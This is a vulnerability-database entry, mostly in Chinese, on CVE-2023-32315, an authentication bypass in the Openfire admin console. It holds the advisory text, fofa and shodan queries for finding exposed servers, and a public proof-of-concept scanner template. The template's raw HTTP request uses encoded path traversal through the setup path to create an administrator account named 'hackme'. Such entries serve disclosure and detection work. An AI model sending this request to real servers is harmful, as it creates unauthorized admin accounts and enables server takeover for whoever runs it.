CVE-2023-32315-2: Openfire身份认证绕过漏洞

日期: 2025-08-01 | 影响软件: Openfire | POC: 已公开

漏洞描述

Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice. fofa: app="Openfire-管理界面" shodan: title:"openfire"

PoC代码[已公开]

id: CVE-2023-32315-2

info:
  name: Openfire身份认证绕过漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.
    fofa: app="Openfire-管理界面"
    shodan: title:"openfire"
  reference:
    - https://mp.weixin.qq.com/s/ww4Gr5aJ3QvCdBYLNCiubA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32315
  tags: openfire,bypass
  created: 2023/09/03

set:
  hostname: request.url.host
rules:
  r0:
    request:
      raw: |
        GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
        Host: {{hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    expression: response.status == 200 && response.body.bcontains(b'Exception:') && response.raw_header.ibcontains(b'JSESSIONID=') && response.raw_header.ibcontains(b'csrf=')
expression: r0()

相关漏洞推荐